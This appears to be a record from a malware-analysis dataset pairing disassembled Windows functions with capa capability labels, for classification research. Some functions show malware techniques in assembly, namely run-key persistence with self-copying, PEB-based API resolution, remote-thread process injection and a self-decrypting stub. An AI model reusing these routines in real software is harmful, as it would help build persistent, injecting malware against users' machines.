joyce8/EMBER2024-capa huggingface dataset:
Function at 0x797106
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x797356
push bp
jmp 0x7971a4
bswap edx
jmp 0x797148
mov edx, dword [ebp - 4]
test edx, edx
pushal
jmp 0x797132
lea esp, [esp + 0x20]
jne 0x7970d7
cmc
stc
jmp 0x797176
lea esp, [esp + 4]
push ecx
mov dword [ebp - 4], 0x10
btr dx, dx
stc
jmp 0x79710a
xor eax, eax
leave
ret
cmp dl, byte [ecx]
jne 0x7970c1
inc eax
call 0x797189
push ecx
jmp 0x7971ba
mov dl, byte [eax]
jmp 0x79717a
lea esp, [esp + 2]
jmp 0x7978dc
lea esp, [esp + 3]
lea esp, [esp]
lea esp, [esp + 1]
inc ecx
jmp 0x7970d7
push esi
mov si, word [esp]
mov esi, ebx
jmp 0x797581
jmp 0x797376
sub eax, ecx
lea esp, [esp + 0x1c]
leave
ret
call fcn.0079766e
pop word [esp]
mov word [esp], bp
lea esp, [esp + 2]
and dword [ebp - 4], 0
call fcn.00797637
xlatb
push ebx
ret
call 0x797598
loopne 0x797374
out dx, al
mov dword [eax - 0x36], edi
into
push ebp
lds ebp, [edi + ebx*2 - 0x2108bb62]
sub dword [eax + 0x33], ecx
imul al
adc dword [esi], eax
add byte [eax], al
imul dword [edi - 1]
lcall 0x7116, 0x801fc669
cmp byte [esi], 0xbd
mov word [edi], ds
pop esi
jmp 0x7972a6
pushal
pop dword [esp]
movzx eax, byte [eax]
movzx ecx, byte [ecx]
jmp 0x7972c4
jmp 0x797321
leave
ret 8
mov edx, dword [ebp - 4]
push edi
lea esp, [esp + 4]
jne 0x7971a0
je 0x7970c1
mov al, byte [esp]
jmp 0x7974a1
mov eax, dword [ecx + 0x3c]
lea edx, [edi + edi]
mov dx, word [esp]
jmp 0x7974bf
mov ecx, dword [edx]
pop edx
jmp 0x797474
push edx
mov edx, ebp
add edx, 8
jmp 0x79748a
mov edx, 0x10b
push di
cmc
lea esp, [esp + 2]
jmp 0x7974e0
and dword [ebp - 0xc], 0
add eax, ecx
mov edx, dword [esp]
jmp 0x7974a9
je 0x797285
mov eax, esi
jmp 0x7974f2
cmp word [eax + 0x18], dx
pushfd
pop word [esp]
mov byte [esp], ch
lea esp, [esp + 2]
jmp 0x7974ca
xor eax, eax
jmp 0x7972a6
neg si
mov esi, dword [eax + 0x78]
call fcn.00797543
jne 0x7972cc
je 0x7972f5
xor eax, eax
lea esp, [esp + 4]
jmp 0x797321
dec dword [ebp - 4]
mov dx, word [esp]
mov edx, dword [esp]
mov dh, byte [esp]
lea edx, [eax + ecx]
jmp 0x797439

Function at 0x85a466
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
mov dword [esp + 0x2c], edi
jmp 0x85a49e
mov eax, dword [eax + 0x1c]
jmp 0x85a488
lea esp, [esp + 0x2c]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x85a46c
Function at 0x40ce5f
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040e800
call fcn.0040c64e
test eax, eax
je 0x40ce7a
call fcn.0040ce11
push ebx
push esi
push edi
call fcn.0040c6d9
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
test eax, eax
mov esi, 0x400
je 0x40cef4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040c2d9
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x1000]
push eax
call fcn.0040c796
test eax, eax
pop ecx
je 0x40cef4
push ebx
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40cef4
lea eax, [ebp - 0x1000]
push eax
call fcn.00409b7e
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040c74f
test eax, eax
je 0x40cf1a
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040c2d9
add esp, 0xc
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0x10
call fcn.00409ad8
cmp eax, ebx
push esi
je 0x40cf3a
lea ecx, [ebp - 0x800]
push ecx
push dword [eax*4 + 0x41003c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40cf54
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
mov ecx, 0x402c38
lea eax, [ebp - 0x800]
call fcn.0040777b
push 1
lea eax, [ebp - 0x800]
push eax
push 0x402dac
push 0x402b58
push 0x80000001
call fcn.00408d8c
add esp, 0x14
test eax, eax
je 0x40cfac
lea eax, [ebp - 0x800]
push eax
call fcn.00409b7e
test eax, eax
pop ecx
push 4
je 0x40cfa1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 3
call fcn.0040c2d9
add esp, 0xc
jmp 0x40ceed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40cfb7
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040c2d9
add esp, 0xc
mov dword [0x410054], ebx
jmp 0x40ce75

Function at 0x40dfb6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40dfc0
repz ret
jmp fcn.0040e25b
Function at 0x2ee3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02ee378f
jae 0x2ee370e
xor ecx, ecx
call fcn.02ee378f
jae 0x2ee373d
xor eax, eax
call fcn.02ee378f
jae 0x2ee374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02ee378f
adc al, al
jae 0x2ee372f
jne 0x2ee3779
stosb byte es:[edi], al
jmp 0x2ee3711
call fcn.02ee379b
sub ecx, ebx
jne 0x2ee3756
call fcn.02ee3799
jmp 0x2ee3775
lodsb al, byte [esi]
shr eax, 1
je 0x2ee3783
adc ecx, ecx
jmp 0x2ee3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02ee3799
cmp eax, 0x7d00
jae 0x2ee3772
cmp ah, 5
jae 0x2ee3773
cmp eax, 0x7f
ja 0x2ee3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2ee3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x1003353
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
call fcn.010049bc
jmp fcn.010032cf

Function at 0x1004348
Capabilities:
Get file size
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 4], ebx
je 0x1004409
cmp dword [ebp + 0x10], ebx
je 0x1004409
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100438d
mov dword [ebp - 4], 0x80040116
jmp 0x10043fd
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10043a6
mov dword [ebp - 4], 0x80040116
jmp 0x10043f5
push edi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, ebx
jne 0x10043bf
mov dword [ebp - 4], 0x8007000e
jmp 0x10043f4
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10043dc
mov dword [ebp - 4], 0x80040116
jmp 0x10043f4
cmp esi, dword [ebp - 8]
je 0x10043ea
mov dword [ebp - 4], 0x80004005
jmp 0x10043f4
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
pop edi
mov eax, dword [ebp + 8]
cmp eax, ebx
pop esi
je 0x1004404
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
jmp 0x100440e
mov eax, 0x80070057
pop ebx
leave
ret 0xc

Function at 0x404300
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0040438f
jae 0x40430e
xor ecx, ecx
call fcn.0040438f
jae 0x40433d
xor eax, eax
call fcn.0040438f
jae 0x40434d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0040438f
adc al, al
jae 0x40432f
jne 0x404379
stosb byte es:[edi], al
jmp 0x404311
call fcn.0040439b
sub ecx, ebx
jne 0x404356
call fcn.00404399
jmp 0x404375
lodsb al, byte [esi]
shr eax, 1
je 0x404383
adc ecx, ecx
jmp 0x404372
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00404399
cmp eax, 0x7d00
jae 0x404372
cmp ah, 5
jae 0x404373
cmp eax, 0x7f
ja 0x404374
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x404311
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x100046c7
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0x10009341
call sub.kernel32.dll_GetModuleHandleA
cmp eax, 0
je 0x100048b8
mov dword [ebp - 4], eax
push str.ZwQuerySystemInformation
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [str..ZwQueryInformationProcess], eax
push 0x10009368
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009382], eax
push 0x100093a7
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093a3], eax
push 0x100093b6
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093b2], eax
push 0x100093ca
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093c6], eax
push 0x100093e5
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093e1], eax
push 0x100093fe
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093fa], eax
push 0x1000941f
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x1000941b], eax
push 0x10009481
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x1000947d], eax
push 0x10009386
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x1000939f], eax
push 0x10009496
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [str.nZwTerminateProcess], eax
push 0x100094ad
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [str._ZwResumeThread], eax
push 0x10009435
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009431], eax
push 0x10009447
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009443], eax
push 0x10009468
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009464], eax
push 0x100094c0
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100094bc], eax
push 0x100094db
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100094d7], eax
push 0x100094f3
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100094ef], eax
mov eax, 1
leave
ret
mov eax, 0
leave
ret

Function at 0x10004af7
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x40
push 0x3000
push dword [ebp + 0x10]
push 0
push dword [ebp + 8]
call sub.kernel32.dll_VirtualAllocEx
or eax, eax
je 0x10004b30
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x10004b34
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0xc]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10004af7
or eax, eax
je 0x10004c55
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
call fcn.10004aa3
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10004af7
or eax, eax
je 0x10004c55
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push 0
push 0
push dword [ebp + 8]
call sub.kernel32.dll_CreateRemoteThread
or eax, eax
je 0x10004c55
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x18], 2
jne 0x10004bb0
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0xc]
jmp 0x10004c55
cmp dword [ebp + 0x18], 0
jne 0x10004bc1
push dword [ebp - 0x10]
pop dword [ebp - 0xc]
jmp 0x10004c55
cmp dword [ebp + 0x18], 1
jne 0x10004c14
push 0xffffffffffffffff
push dword [ebp - 0x10]
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
call sub.kernel32.dll_GetExitCodeThread
or eax, eax
jne 0x10004be6
push 0
pop dword [ebp - 0xc]
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
jmp 0x10004c55
cmp dword [ebp + 0x18], 3
jne 0x10004c55
push 0xffffffffffffffff
push dword [ebp - 0x10]
call sub.kernel32.dll_WaitForSingleObject
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 1
pop dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
leave
ret 0x14
Function at 0x100070d1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
cmp dword [ebp + 0xc], 1
jne 0x1000714f
push dword [ebp + 8]
pop dword [0x1000989c]
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
lea eax, [ebp - 0x40]
push eax
push ebx
push 0x1401
call fcn.10002a88
push 0x100097a0
push 0
lea eax, [ebp - 0x40]
push eax
call fcn.10002bf1
or eax, eax
je 0x10007135
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0x10007268
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x10007148
cmp dword [0x100097a0], 0
je 0x10007148
push 0x100097a0
call fcn.10002bcd
mov eax, 1
jmp 0x1000716a
cmp dword [ebp + 0xc], 0
jne 0x1000715c
call fcn.100071e7
jmp 0x1000716a
cmp dword [ebp + 0xc], 2
jne 0x10007164
jmp 0x1000716a
cmp dword [ebp + 0xc], 3
jne 0x1000716a
leave
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402397
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x44f4e8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
push 0xc35
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, eax
test edi, edi
je 0x4023fd
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.00432b90
add esp, 0xc
push 0x400
lea eax, [ebp - 0x804]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x4023fd
add esi, 0x10
lea eax, [ebp - 0x804]
call fcn.00401318
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004327eb
leave
ret
Function at 0x402fa6
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
xor ebx, ebx
push 0x443dd8
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov byte [esi + 0x18], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, ebx
mov dword [esi + 0x1c], eax
je 0x403042
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RegCreateKeyExW
push eax
call edi
push str.RegQueryValueW
push dword [esi + 0x1c]
mov dword [esi], eax
call edi
push str.RegSetValueW
push dword [esi + 0x1c]
mov dword [esi + 4], eax
call edi
push str.RegQueryValueExW
push dword [esi + 0x1c]
mov dword [esi + 8], eax
call edi
push str.RegSetValueExW
push dword [esi + 0x1c]
mov dword [esi + 0xc], eax
call edi
push str.RegCloseKey
push dword [esi + 0x1c]
mov dword [esi + 0x10], eax
call edi
cmp dword [esi], ebx
mov dword [esi + 0x14], eax
pop edi
je 0x403042
cmp dword [esi + 4], ebx
je 0x403042
cmp dword [esi + 8], ebx
je 0x403042
cmp dword [esi + 0xc], ebx
je 0x403042
cmp dword [esi + 0x10], ebx
je 0x403042
cmp eax, ebx
je 0x403042
mov byte [esi + 0x18], 1
mov eax, esi
pop ebx
ret

Function at 0x40412e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push 0x44
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.00432b90
push 0x10
lea eax, [ebp - 0x14]
push ebx
push eax
mov dword [ebp - 0x5c], 0x44
call fcn.00432b90
add esp, 0x18
cmp dword [esi + 0x18], 8
mov dword [ebp - 0x30], 1
mov word [ebp - 0x2c], 5
jb 0x404174
mov esi, dword [esi + 4]
jmp 0x404177
add esi, 4
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 8
jb 0x404185
mov eax, dword [eax + 4]
jmp 0x404188
add eax, 4
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x5c]
push ecx
push esi
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4041b4
cmp dword [ebp - 0x14], ebx
je 0x4041b0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4041b6
xor al, al
pop esi
pop ebx
leave
ret 4
Function at 0x404ffc
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x44f4e8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
cmp dword [eax + 0x18], 8
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edi
jb 0x405025
mov eax, dword [eax + 4]
jmp 0x405028
add eax, 4
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, edi
jne 0x40503d
xor al, al
jmp 0x405085
cmp dword [ebp - 0x24], edi
jle 0x405071
mov eax, dword [ebx + edi*4]
lea ecx, [ebp - 0x20]
call fcn.0040118b
cmp dword [ebp - 0xc], 0
je 0x40505f
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x28]
call fcn.004011bd
push 0
push 1
lea esi, [ebp - 0x20]
call fcn.00401432
inc edi
cmp edi, dword [ebp - 0x24]
jl 0x405042
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x28]
call fcn.004011a7
test eax, eax
setne al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004327eb
leave
ret 4
Function at 0x40764f
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
mov eax, dword [0x44f4e8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 8
jb 0x407670
mov eax, dword [eax + 4]
jmp 0x407673
add eax, 4
push 0x100
push 0x2b4
lea ecx, [ebp - 0x2b8]
push ecx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x40769a
mov eax, dword [ebp - 0x2b8]
mov dword [esi + 0x18], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004327eb
leave
ret 4
Function at 0x409cd1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
mov eax, dword [0x44f4e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push 0x27f4
mov dword [ebp - 0x25c], edi
call fcn.00405106
lea ecx, [ebp - 0x250]
call fcn.00410096
cmp dword [ebp - 0x238], 8
mov eax, dword [ebp - 0x24c]
jae 0x409d19
lea eax, [ebp - 0x24c]
mov esi, dword [sym.imp.USER32.dll_SetWindowTextW]
push eax
push dword [edi + 4]
call esi
push 0x20a
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00432b90
add esp, 0xc
push 0x3ec
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
test eax, eax
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0x258], eax
je 0x409d94
push eax
call ebx
test eax, eax
je 0x409d94
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x258]
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x409d94
and word [ebp - 0x10], 0
lea esi, [edi + 0x298]
lea eax, [ebp - 0x218]
call fcn.00401318
jmp 0x409dbd
push dword [ebp - 0x258]
call ebx
test eax, eax
je 0x409dbd
lea eax, [edi + 0x298]
cmp dword [eax + 0x18], 8
jb 0x409db1
mov eax, dword [eax + 4]
jmp 0x409db4
add eax, 4
push eax
push dword [ebp - 0x258]
call esi
add edi, 0x298
lea ecx, [ebp - 0x278]
call fcn.0040c0f6
push 0xffffffffffffffff
push edi
xor ebx, ebx
call fcn.004016c9
push ebx
push 1
lea esi, [ebp - 0x278]
call fcn.00401432
push 0x444184
push edi
call fcn.0040c8c7
mov ebx, dword [ebp - 0x25c]
cmp byte [ebx + 0x90], 0
pop ecx
pop ecx
je 0x409eec
cmp dword [ebx + 0x88], 0
je 0x409eec
lea ecx, [ebx + 0x74]
mov eax, edi
call fcn.0040c728
test al, al
jne 0x409eec
lea esi, [ebp - 0x298]
call fcn.00402fa6
lea eax, [ebx + 0x324]
lea esi, [ebp - 0x234]
call fcn.00401ad1
call fcn.0040c96a
push 0x25
push 0x3a
call fcn.0040c84c
push 0x25
push 0x5c
call fcn.0040c84c
mov ebx, str.SoftwareHaoZip_SFX
add esp, 0x10
mov eax, ebx
lea ecx, [ebp - 0x278]
call fcn.0040118b
lea eax, [ebp - 0x278]
lea esi, [ebp - 0x298]
call fcn.00403055
push 0
push 1
lea esi, [ebp - 0x278]
mov byte [ebp - 0x251], al
call fcn.00401432
cmp byte [ebp - 0x251], 0
je 0x409ed2
mov eax, ebx
lea ecx, [ebp - 0x278]
call fcn.0040118b
lea eax, [ebp - 0x234]
push eax
mov ecx, edi
lea eax, [ebp - 0x278]
lea esi, [ebp - 0x298]
call fcn.0040318b
push 0
push 1
lea esi, [ebp - 0x278]
call fcn.00401432
push 0
push 1
lea esi, [ebp - 0x234]
call fcn.00401432
lea eax, [ebp - 0x298]
call fcn.00403046
push 0
push 1
lea esi, [ebp - 0x250]
call fcn.00401432
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004327eb
leave
ret
Function at 0x40c053
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x44f4e8]
xor eax, ebp
mov dword [ebp + 0x394], eax
push esi
push edi
xor edi, edi
push 0x40e
lea eax, [ebp - 0x7a]
push edi
push eax
mov esi, ecx
mov word [ebp - 0x7c], di
call fcn.00432b90
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 0x3a0]
mov dword [ebp - 0x80], edi
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
je 0x40c0a6
xor al, al
jmp 0x40c0df
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
jne 0x40c0c7
cmp dword [ebp - 0x80], edi
je 0x40c0a2
push dword [ebp - 0x80]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x40c0a2
lea eax, [ebp - 0x7c]
call fcn.00401318
cmp dword [ebp - 0x80], edi
je 0x40c0dd
push dword [ebp - 0x80]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov al, 1
mov ecx, dword [ebp + 0x394]
pop edi
xor ecx, ebp
pop esi
call fcn.004327eb
add ebp, 0x398
leave
ret

Function at 0x40c0f6
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44f4e8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 1
lea eax, [ebp - 0x24]
mov esi, ecx
push eax
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], 0x25
call fcn.00401386
cmp eax, 0xffffffff
mov eax, edi
jne 0x40c135
call fcn.00401ad1
mov eax, esi
jmp 0x40c1d1
lea esi, [ebp - 0x20]
call fcn.00401ad1
cmp dword [edi + 0x18], 8
lea eax, [edi + 4]
mov dword [ebp - 0x2c], eax
jb 0x40c14b
mov eax, dword [eax]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x40c163
mov eax, edi
jmp 0x40c1b9
xor ecx, ecx
push 2
pop edx
lea eax, [esi + 2]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00432651
cmp dword [edi + 0x18], 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
pop ecx
jb 0x40c189
mov eax, dword [eax]
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x24]
push eax
call ebx
test eax, eax
jbe 0x40c1ad
cmp eax, esi
ja 0x40c1ad
mov ecx, dword [ebp - 0x24]
and word [ecx + eax*2], 0
mov eax, ecx
lea esi, [ebp - 0x20]
call fcn.00401318
push dword [ebp - 0x24]
call fcn.004326dd
pop ecx
lea eax, [ebp - 0x20]
mov esi, dword [ebp - 0x28]
call fcn.00401ad1
push 0
push 1
lea esi, [ebp - 0x20]
call fcn.00401432
mov eax, dword [ebp - 0x28]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004327eb
leave
ret